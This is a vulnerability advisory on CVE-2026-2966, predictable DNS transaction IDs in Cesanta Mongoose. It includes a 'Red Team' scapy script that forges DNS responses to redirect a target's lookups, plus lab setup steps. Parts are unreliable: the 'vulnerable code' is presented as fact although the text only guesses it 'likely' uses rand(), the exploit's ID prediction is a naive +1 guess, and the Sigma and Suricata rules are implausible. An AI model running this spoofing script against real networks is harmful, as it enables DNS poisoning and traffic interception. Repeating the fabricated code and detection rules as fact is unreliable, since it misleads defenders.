CVE-2026-2966

Executive Summary

CVE-2026-2966 is a weakness in Cesanta Mongoose up to version 7.20, specifically in the DNS Transaction ID Handler within /src/dns.c. The vulnerability lies in the mg_sendnsreq function, which uses insufficiently random values for the DNS transaction ID. This allows an attacker to predict or spoof DNS responses, potentially leading to DNS cache poisoning or man-in-the-middle attacks. The attack complexity is high, and exploitability is considered difficult, but a public proof-of-concept exists. No patch has been released by the vendor.

Supply Chain & Package Security

Cesanta Mongoose is a widely used embedded web server and networking library, often integrated into IoT devices, embedded systems, and various software projects. This vulnerability affects any application or device that uses Mongoose for DNS resolution. Since the library is often statically linked, updating the library version in the supply chain is critical. Users should monitor for updates from Cesanta or consider alternative DNS resolution methods.

CVSS Breakdown & Threat Level

• CVSS Score: 3.7 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): High (H) – Requires specific conditions or knowledge.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited ability to modify data (DNS responses).
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low. The high attack complexity and low impact make this a lower priority, but the public exploit increases the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability is in the DNS transaction ID generation within the mg_sendnsreq function in /src/dns.c. The DNS transaction ID is a 16-bit field used to match DNS queries with responses. If the ID is predictable, an attacker can forge DNS responses that appear legitimate.

In Mongoose 7.20, the transaction ID is generated using a weak random number generator or a predictable seed. The code likely uses rand() or a similar function without proper entropy. An attacker can observe multiple DNS queries, predict the next transaction ID, and inject a malicious DNS response before the legitimate one arrives.

The attack requires:

1. The attacker to be on the network path between the client and the DNS server.
2. The ability to sniff DNS queries to observe transaction IDs.
3. The ability to send forged DNS responses with a predicted ID.

The high complexity stems from the need for precise timing and network position.

Vulnerable vs. Patched Code

Vulnerable Code (Mongoose <= 7.20):

// In mg_sendnsreq
uint16_t id = (uint16_t) rand();  // Weak random

Patched Code (Hypothetical):

// Use a cryptographically secure random number
uint16_t id = (uint16_t) mg_random();  // Secure random

The fix would involve replacing rand() with a secure random function like mg_random() or using /dev/urandom on POSIX systems.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Network access to the target.
• Ability to sniff DNS traffic.
• Python with scapy installed.

Exploit Script:

#!/usr/bin/env python3
import scapy.all as scapy
import time
import random

def exploit(target_ip, dns_server_ip):
    # Sniff a DNS query to get the transaction ID
    def sniff_dns(pkt):
        if pkt.haslayer(scapy.DNS) and pkt[scapy.DNS].qr == 0:
            return pkt[scapy.DNS].id
    # Wait for a query
    pkt = scapy.sniff(filter=f"udp and src host {target_ip} and dst port 53", count=1, timeout=10)
    if not pkt:
        print("No DNS query captured")
        return
    original_id = pkt[0][scapy.DNS].id
    # Predict next ID (weak rand)
    predicted_id = (original_id + 1) % 65536  # Simple prediction
    # Forge a malicious DNS response
    spoofed_response = scapy.IP(src=dns_server_ip, dst=target_ip)/scapy.UDP(sport=53, dport=12345)/scapy.DNS(id=predicted_id, qr=1, aa=1, qd=scapy.DNSQR(qname="example.com"), an=scapy.DNSRR(rrname="example.com", rdata="6.6.6.6"))
    scapy.send(spoofed_response, verbose=0)
    print(f"Sent spoofed DNS response with ID {predicted_id}")

if __name__ == "__main__":
    exploit("192.168.1.100", "8.8.8.8")

Lab Setup:

1. Set up a virtual network with a target running Mongoose 7.20.
2. Use a separate machine as the attacker.
3. Run the exploit script while the target performs a DNS query.

Blue Team (Defense & Detection)

Detection:

• Monitor for multiple DNS responses with the same transaction ID.
• Look for DNS responses arriving before the query is sent (impossible in normal operation).
• Use DNS security extensions (DNSSEC) to validate responses.

Mitigation:

• Update Mongoose to a patched version (if available).
• Implement DNS over HTTPS (DoH) or DNS over TLS (DoT) to encrypt queries.
• Use a local DNS resolver with caching to reduce external queries.

Indicators of Compromise (IOCs)

• Network:
  • Multiple DNS responses with the same transaction ID.
  • DNS responses from unexpected IP addresses.
  • DNS responses with incorrect source ports.
• System:
  • Unusual DNS resolution behavior (e.g., resolving to malicious IPs).
  • Logs showing DNS query/response mismatches.
• File:
  • Modified /etc/hosts or DNS configuration files.

Detection Engineering

YARA Rule

rule CVE_2026_2966_Mongoose_DNS_Weak_Random {
    meta:
        description = "Detects weak DNS transaction ID generation in Mongoose"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-2966"
    strings:
        $weak_rand = "rand()" ascii wide nocase
        $dns_func = "mg_sendnsreq" ascii wide nocase
    condition:
        $dns_func and $weak_rand
}

Sigma Rule

title: CVE-2026-2966 - Weak DNS Transaction ID in Mongoose
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit weak DNS transaction ID generation in Mongoose
author: Valters IT
logsource:
    category: network
    product: dns
detection:
    selection:
        dns.id|re: "^(0[0-9]{3}|[0-9]{3})$"  # Weak IDs (e.g., 0-999)
    condition: selection
falsepositives:
    - Legitimate low IDs in some environments
level: low

Suricata Rule

alert udp any any -> any 53 (msg:"CVE-2026-2966 - Weak DNS Transaction ID"; content:"|00 00|"; offset:0; depth:2; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate:
   • Disable DNS resolution in Mongoose if not needed.
   • Use a firewall to restrict outbound DNS traffic to trusted servers.
2. Short-term:
   • Monitor for updates from Cesanta.
   • Apply any patches as soon as they are released.
3. Long-term:
   • Replace Mongoose with a maintained alternative.
   • Implement DNSSEC to validate DNS responses.
   • Use secure random number generation in all cryptographic contexts.

Valters IT
Securing Digital Frontiers